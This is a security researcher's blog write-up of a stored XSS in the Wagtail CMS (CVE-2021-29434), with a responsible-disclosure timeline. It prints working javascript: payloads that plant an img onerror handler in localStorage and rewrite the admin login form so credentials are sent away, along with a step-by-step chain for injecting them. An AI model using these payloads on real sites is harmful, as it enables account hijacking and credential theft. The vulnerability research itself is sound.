May 4, 2021

Wagtail XSS + LocalStorage = Account Hijack

Wagtail XSS + LocalStorage = Account Hijack

Every now and then I like to do a little bit of bug hunting in open source projects, I love the challenge, there might not be and often isn't anything significant but every now and again I find something interesting. This is one of those times I found something interesting.


CVE-2021-29434: With editor permissions we can craft an XSS that, if triggered by a moderator or admin account, can be used to write to the browser local storage. Once the local Storage key has been set we can steal the credentials for the user account that triggered the XSS leading to full account takeover, even if the original XSS gets patched.


Wagtail is an open source Content Management System (CMS). Written in Python it is targeted at the Django eco-system of web frameworks.

On its own, it doesn't do a lot!. The idea is you use this as a base and build your custom application on top of this using its API and features to get powerful content editors making it easier to focus on building the content than developing the features you want. This was an important thing to note when it came to testing as you will see shortly.


Credit to the wagtail developers getting this setup and running was fairly simple running everything in a Python virtual environment took no more than a couple of minutes and I had a local running instance that I could access and start playing with.

Or so I thought . . .

It all looked good to start I could access the admin panel, accounts, create pages, but I was very limited in what content I could create, this takes us back to what wagtail is. It's not a fully-featured web application for creating content . . . It is a fully-featured base application for content management that can be extended.

My first thought was that I was going to have to build my own application that exposes the API so I could test all the features, this was not something I wanted to invest time in to for what was supposed to be a quick bug hunt.

Fortunately I didn't have to, Wagtail also ships a demo project called "Bakery".

The demo site is designed to provide examples of common features and recipes to introduce you to Wagtail development. Beyond the code, it will also let you explore the admin / editorial interface of the CMS.

This seemed ideal for testing, Setting this one up was much the same as before except they also provide a docker-compose.yml file that will stand up a more representative production environment with a "real" database, ElasticSearch and Redis alongside the main application. I didn't need this to get started so I stuck with the Python virtual environment.

There were a couple of differences to the initial setup, and note the edit to the base.txt file to install the latest version of Wagtail instead of the pinned version.

And success, we now have a function locally running wagtail instance that is more representative of a real installation.

Now we can start to look for some vulnerabilities, for me XSS has always been the easiest bug type to find, just look for anywhere a user has input and see what you can do with it.

After playing around with the different types of input It looked like everything was being properly escaped when it was rendered or was being validated by the frontend. So I changed tacks and looked at the data that was being sent to the server to see if I could bypass any of the validation.


And this is where we find the vulnerability, one of the RichText plugins allows you to add a link, If we can control the URL it may be possible to inject a javascript: href. This means anyone clicking the link would run the JavaScript we give it.

Doesn't look happy, if we try each of the link types we can see that Internal, External and Email types all fail to validate on the server side if we try to add a JavaScript src attribute.

Phone and Anchor Links however would allow us to set the URL and save it. Unfortunately when this renders in the frontend it would prefix our attribute with either tel: or # depending on the format we selected, effectively removing the XSS.

I had been focusing on the requests that would create the Link element, trying to tamper with the data sent to the server to see if i could bypass or modify the data to remove the prefix that was being inserted.

Taking a step back I looked at the POST request that was used to save the entire page contents instead of the POST request that saves the link we wanted to add, and I found that the link content was also being set in this request as well.

With the request intercepted in Burp i removed the # that was prefixing the url attributed and clicked Forward to send the modified request to the server.

Success :)

It requires interaction by someone clicking the link, but if they do we get a successful XSS.

Weaponising the XSS

OK, with our XSS in place we need to try and weaponize it for some kind of affect, else its not really an effective vulnerability. We have a couple of targets:

  • End users of the application
  • Moderators and Admins

For most wagtail implementations I expect targeting the end user is not going to pose much risk, They are unlikely to access any sensitive parts of the site or data.

Targeting Moderators or Admins is a higher risk, as we can make these changes with the lowest level of permissions as an "Editor".

Yes there is social engineering at play here, Yes it may be obvious to admins and moderators. The focus here is not to create the most convincing lure just to showcase the possibilities.

So lets look at some payloads

The obvious one here is to grab the sessionid from the cookie, then we can impersonate the account by replacing our own session. The would be as simple as reading the cookie value with document.cookie and posting it to our own domain with the fetch api


We got the cookie but it doesn't have the session id, this is because the cookie value is set to be HttpOnly which means it can not be access from JavaScript. We can also see there is a CSRF token, this means that trying to automate tasks like create new admin account or upgrade our account permissions is going to be a lot harder.

As I was looking for other places the session id may be stored I spotted something very strange in Local Storage.

without getting in to the specifics, Local Storage is a keypair value store that persists data in the local browser and more importantly JavaScript can read and write to it.

The particular key is being used to store SVG data that is used to show Icons in the admin interface, I'm not going to lie this was and still is very confusing to me as to why the developers are using local storage in this way, other fonts and icons are loaded using font awesome. Anyway how can we abuse this?

First lets see if we can get something in here that will render in to the browser.

The first attempt at writing script tags failed.

javascript:localStorage.setItem('wagtail:spriteData', '<script>alert("xss");</script>');

I think this is due to the way this element is rendered in to the DOM it never executes the script tags but there are other ways.

javascript:localStorage.setItem('wagtail:spriteData', '<img src=1 onerror="javascript:alert(1)"></img>');

Intercepting the request as before anyone clicking the link will see no visible change, however if you navigate to the /admin pages the Local Storage code is written to the DOM and our XSS fires. Our XSS fires every time the admin page is visited in this browser and even works if the user is logged out.

Now we have enough to build a full exploit chain:

  • Edit a page or element that will let us add or modify a link element.
  • Set the type to Anchor link.
  • Set the URL to match the code block below.
  • Insert the Anchor.
  • Save Draft / Publish the page and intercept the request.
  • Remove the '#' from the URL and Forward the modified request.
javascript:localStorage.setItem('wagtail:spriteData', '<img src=1 onerror="javascript:window.onload = function(){let form = document.getElementsByTagName(\'form\')[0]; form.action = \'\'; form.method = \'get\';}"></img>');

There is a lot going on here so lets break it down

When the link is clicked a key named wagtail:spriteData in Local Storage is updated and its value it set to

'<img src=1 onerror="javascript:window.onload = function(){let form = document.getElementsByTagName(\'form\')[0]; form.action = \'\'; form.method = \'get\';}"></img>'

Now, every time the user visits the login page this code is loaded from Local Storage, the img tag is created with a bad src that means the code in onerror will run.

The JavaScript code in onerror will wait for the page to finish loading, once the page is ready it will look for an HTML form, if it finds a form it will change the action to point to a domain controlled by the attacker, we also set the method to GET instead of POST but that is only to make this easier to demonstrate.

The result of this is that the next time the target user attempts to login they actually send their credentials to us.

There are a few more steps you would need to do in order to make this truly effective but this should give an indication of the types of attack that can be attempted if you can chain a few components together.

Disclosure Timeline

Wagtail is open source and uses GitHub as its code repository. When I went looking for responsible way to disclose the vulnerabilities I found their Security policy with ease. More open source projects should use this feature.

30 Mar 2021: Initial Email with details on both components sent to

1 April 2021: Response From wagtail, confirming the validity of the XSS and querying the local storage element.

1 April 2021: I reply with more details on the second component.

8 April 2021: Github Draft advisory created

19 April 2021: Security Advisory Published


If you want to gain practical experience with identifying and remediating XSS vulnerabilities in python web application frameworks - - - -